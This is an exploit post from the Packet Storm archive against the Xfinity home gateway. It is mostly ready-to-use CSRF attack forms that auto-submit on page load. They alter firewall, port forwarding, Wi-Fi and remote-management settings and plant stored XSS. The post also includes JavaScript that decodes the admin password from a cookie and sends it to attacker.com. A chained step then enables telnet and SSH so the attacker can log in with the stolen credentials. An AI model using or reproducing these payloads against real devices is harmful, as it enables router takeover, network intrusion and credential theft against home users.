what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Xfinity Gateway Cross Site Request Forgery

Xfinity Gateway Cross Site Request Forgery
Posted Dec 1, 2016
Authored by Pabstersac

Xfinity Gateway suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | a5245ee4cb7a637cd9fc430d92200e8012607b78dcf5bb9a2d8ba86921d6953f
Download | Favorite | View

Xfinity Gateway Cross Site Request Forgery

Change Mirror Download
EXPLOIT TITLE: CSRF RCE XFINITY WEB GATEWAY
AUTHOR: Pabstersac
DATE: 1ST OF AUGUST 2016
CVE: N/A
CATEGORY: REMOTE
CONTACT: pabstersac@gmail.com
 
IF ANYONE HAS COMMUNICATION WITH VENDOR PLEASE NOTIFY THEM SINCE THEY HAVE IGNORED ME.
CSRF FOR COMCAST XFINITY WEB GATEWAY. LEADS TO RCE AND ACCESS TO THE NETWORK AND MORE.
VENDOR HAS BEEN NOTIFIED NUMEROUS TIMES BUT NO RESPONSE RECEIVED.
 
1) ADD BLOCKED SITE
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_add_blockedSite.php" method="post">
 
<input type="hidden" name='BlockInfo' value='{"URL": "http://test1.com", "alwaysBlock": "true"}'>
 
</form>
 
<script>document.x.submit();</script>
 
 
2) ADD BLOCKED KEYWORD
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_add_blockedSite.php" method="post">
 
<input type="hidden" name='BlockInfo' value=a{aKeyworda: "http://test1.com", "alwaysBlock": "true"}'>
 
</form>
 
<script>document.x.submit();</script>
 
 
3) REMOVE BLOCKED SITE OR KEYWORD
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_remove_blockedSite.php" method="post">
 
<input type="hidden" name='removeBlockInfo' value='{"InstanceID": "6"}'>
 
</form>
 
<script>document.x.submit();</script>
 
 
4) TRUST/UNTRUST DEVICES
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_trust_computer.php" method="post">
 
<input type="hidden" name='TrustFlag' value='{"trustFlag": "true", "HostName": "test", "IPAddress": "10.0.0.82"}'>
 
</form>
 
<script>document.x.submit();</script>
 
 
5) DISABLE/ENABLE MANAGED SITES
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_enable_manageSite.php" method="post">
 
<input type="hidden" name='Enable' value='{"Enable": "true"}'>
 
</form>
 
<script>document.x.submit();</script>
 
 
6) ADD MANAGED SERVICE (COMES WITH BONUS STORED XSS ;)
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_services.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='service' value='<img src=x onerror=alert(0)>'>
<input type="hidden" name='protocol' value='UDP'>
<input type="hidden" name='startPort' value='1234'>
<input type="hidden" name='endPort' value='1234'>
<input type="hidden" name='block' value='true'>
 
</form>
 
<script>document.x.submit();</script>
 
 
7) DELETE MANAGED SERVICE
 
http://10.0.0.1/actionHandler/ajax_managed_services.php?del=1
 
 
8) DISABLE/ENABLE MANAGED SERVICES
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_services.php" method="post">
 
<input type="hidden" name='set' value='true'>
<input type="hidden" name='UMSStatus' value='Enabled'>
 
 
</form>
 
<script>document.x.submit();</script>
 
 
9) UNBLOCK DEVICE
 
http://10.0.0.1/actionHandler/ajax_managed_devices.php?del=2
 
 
10) ADD BLOCKED DEVICE (COMES WITH BONUS STORED XSS ;)
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='type' value='Block'>
<input type="hidden" name='name' value='<img src=x onerror=alert(0)>'>
<input type="hidden" name='mac' value='xx:xx:xx:xx:xx:x2'>
<input type="hidden" name='block' value='true'>
 
 
</form>
 
<script>document.x.submit();</script>
 
 
11) ENABLE/DISABLE MANAGED DEVICES
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">
 
<input type="hidden" name='set' value='true'>
<input type="hidden" name='UMDStatus' value='Enabled'>
 
 
 
</form>
 
<script>document.x.submit();</script>
 
 
12) ADD PORT FORWARDING SERVICE (COMES WITH BONUS STORED XSS ;)
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='name' value='<img src=x onerror=alert(1)>'>
<input type="hidden" name='protocol' value='TCP/UDP'>
<input type="hidden" name='ip' value='10.0.0.82'>
<input type="hidden" name='ipv6addr' value='x'>
<input type="hidden" name='startport' value='123'>
<input type="hidden" name='endport' value='123'>
 
</form>
 
<script>document.x.submit();</script>
 
 
13) DELETE A PORT FORWARDING SERVICE
 
http://10.0.0.1/actionHandler/ajax_port_forwarding.php?del=5
 
 
14) EDIT EXISTING PORT FORWARDING SERVICES
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">
 
<input type="hidden" name='edit' value='true'>
<input type="hidden" name='name' value=ahuhuhuh???New Name then a|a>
<input type="hidden" name='protocol' value='TCP/UDP'>
<input type="hidden" name='ip' value='10.0.0.82'>
<input type="hidden" name='ipv6addr' value='x'>
<input type="hidden" name='startport' value='123'>
<input type="hidden" name='endport' value='123'>
<input type="hidden" name='ID' value='4'>
 
 
</form>
 
<script>document.x.submit();</script>
 
 
15) ENABLE/DISABLE PORT FORWARDING
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">
 
<input type="hidden" name='set' value='true'>
<input type="hidden" name='UFWDStatus' value='Enabled'>
 
 
 
</form>
 
<script>document.x.submit();</script>
 
 
Iall ignore port triggering cuz idc about port triggering . . .
 
16) CHANGE REMOTE MANAGEMENT SERVICE
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_remote_management.php" method="post">
 
<input type="hidden" name='http' value='true'>
<input type="hidden" name='httport' value='notset'>
<input type="hidden" name='https' value='true'>
<input type="hidden" name='httpsport' value='notset'>
<input type="hidden" name='allowtype' value='notset'>
<input type="hidden" name='startIP' value='notset'>
<input type="hidden" name='endIP' value='notset'>
<input type="hidden" name='telnet' value='notset'>
<input type="hidden" name='ssh' value='notset'>
<input type="hidden" name='startIPv6' value='notset'>
<input type="hidden" name='endIPv6' value='notset'>
 
 
</form>
 
<script>document.x.submit();</script>
 
 
17) CHANGE FIREWALL SETTINGS
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_firewall_config.php" method="post">
 
<input type="hidden" name='configInfo' value='{"firewallLevel": "Low", "block_http": "Disabled", "block_icmp": "Disabled", "block_multicast": "Disabled", "block_peer": "Disabled", "block_ident": "Disabled", "disableFwForTrueStaticIP": "undefined"} '>
 
 
 
</form>
 
<script>document.x.submit();</script>
 
 
18) CHANGE PASSWORD PoC
 
UPLOAD test1.js TO yourjavascript.com (OR USE THE ONE I ALREADY UPLOADED : http://yourjavascript.com/1663477161/test1.js )
CONTENTS ARE:
document.cookie="PHPSESSID=1";k=document.cookie;f=k.replace("PHPSESSID=1","");d=f.replace("auth=","");s=d.replace(";","");g=s.replace("%3D","");t=atob(g);console.log(t);l=t.replace("admin:","");console.log(l);var xhttp=new XMLHttpRequest();xhttp.open("POST","/actionHandler/ajaxSet_password_config.php",true);xhttp.send('configInfo={"newPassword": atestpassword123a, "oldPassworda: aa+ l+aa}a);
 
SHORTEN URL ON GOOGLE (OR USE THE ONE I ALREADY SHORTENED : http://goo.gl/FQHkQj)
 
CREATE HTML FILE : 
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='type' value='Block'>
<input type="hidden" name='name' value='<script src="http://goo.gl/FQHkQj">'>
<input type="hidden" name='mac' value='xx:xx:xx:xx:xx:x8'>
<input type="hidden" name='block' value='true'>
 
 
</form>
 
<script>document.x.submit();</script>
 
I PUT ON SRC IN THE SCRIPT TAG MY SHORTENED URL
 
 
19) GET PASSWORD PoC
 
UPLOAD test1.js TO yourjavascript.com
CONTENTS ARE:
document.cookie="PHPSESSID=1";k=document.cookie;f=k.replace("PHPSESSID=1","");d=f.replace("auth=","");s=d.replace(";","");g=s.replace("%3D","");t=atob(g);console.log(t);l=t.replace("admin:","");console.log(l);var xhttp=new XMLHttpRequest();xhttp.open("POST","http://attacker.com/get_password.php",true);xhttp.send('configInfo={"newPassword": atestpassword123a, "oldPassworda: aa+ l+aa}a);
 
SHORTEN URL ON GOOGLE 
 
CREATE HTML FILE : 
 
<form name="x" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='type' value='Block'>
<input type="hidden" name='name' value='<script src="shortened url">'>
<input type="hidden" name='mac' value='xx:xx:xx:xx:xx:x8'>
<input type="hidden" name='block' value='true'>
 
 
</form>
 
<script>document.x.submit();</script>
 
I PUT ON SRC IN THE SCRIPT TAG MY SHORTENED URL
20) ACCESS DEVICES IN THE NETWORK
<form name="x" action="http://10.0.0.1/actionHandler/ajax_port_forwarding.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='name' value='something'>
<input type="hidden" name='protocol' value='TCP/UDP'>
<input type="hidden" name='ip' value='Target Internal IP'>
<input type="hidden" name='ipv6addr' value='x'>
<input type="hidden" name='startport' value='Target Port'>
<input type="hidden" name='endport' value='Target Port'>
 
</form>
 
<script>document.x.submit();</script>
 
21) CREATE A NEW PRIVATE WI-FI NETWORK WITH THE PASSWORD OF YOUR CHOICE:
 
<form name="x" action="http://10.0.0.1/actionHandler/ajaxSet_wireless_network_configuration_edit.php" method="post">
 
<input type="hidden" name='configInfo' value='{"radio_enable":"true", "network_name":"MY-OWN-PRIVATE-PERSONAL-NETWORK", "wireless_mode":"g,n", "security":"WPAWPA2_PSK_TKIPAES", "channel_automatic":"true", "channel_number":"5", "network_passworda:apassworda, "broadcastSSID":"true", "enableWMM":"true", "ssid_numbera:a3a}a>
 
</form>
 
<script>document.x.submit();</script>
 
22) RCE
HTML FILE:
<form name="x" action="http://10.0.0.1/actionHandler/ajax_remote_management.php" method="post">
 
<input type="hidden" name='http' value='true'>
<input type="hidden" name='httport' value='notset'>
<input type="hidden" name='https' value='true'>
<input type="hidden" name='httpsport' value='notset'>
<input type="hidden" name='allowtype' value='notset'>
<input type="hidden" name='startIP' value='notset'>
<input type="hidden" name='endIP' value='notset'>
<input type="hidden" name='telnet' value='true'>
<input type="hidden" name='ssh' value='true'>
<input type="hidden" name='startIPv6' value='notset'>
<input type="hidden" name='endIPv6' value='notset'>
 
 
</form>
<!--Do part 19)-->
 
<form name="h" action="http://10.0.0.1/actionHandler/ajax_managed_devices.php" method="post">
 
<input type="hidden" name='add' value='true'>
<input type="hidden" name='type' value='Block'>
<input type="hidden" name='name' value='<script src="shortened url">'>
<input type="hidden" name='mac' value='xx:xx:xx:xx:xx:x8'>
<input type="hidden" name='block' value='true'>
 
 
</form>
 
 
<form name="f" action="http://10.0.0.1/actionHandler/ajaxSet_firewall_config.php" method="post">
 
<input type="hidden" name='configInfo' value='{"firewallLevel": "Low", "block_http": "Disabled", "block_icmp": "Disabled", "block_multicast": "Disabled", "block_peer": "Disabled", "block_ident": "Disabled", "disableFwForTrueStaticIP": "undefined"} '>
 
 
 
</form>
<script>document.x.submit();document.h.submit();document.f.submit();</script>
 
THEN TELNET TO THE IP ADDRESS THAT SENT THE REQUEST TO ATTACKER.COM/GET_PASSWORD.PHP AND USE THE USERNAME 'admin' AND THE PASSWORD YOU GOT IN ATTACKER.COM/GET_PASSWORD.PHP
 
THE AUTHOR TAKES NO RESPONSIBILITY FOR DAMAGE DONE WITH THIS EXPLOIT.
FOR PUBLISHING OR SENDING OR COPYING THIS EXPLOIT THE AUTHOR MUST BE GIVEN FULL CREDIT FOR THE EXPLOIT.
IF THE VULNERABILITY IS REPORTED TO VENDOR AND VENDOR RESPONDS AND FIXES IT THEN FULL CREDIT MUST BE GIVEN TO THE AUTHOR.


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close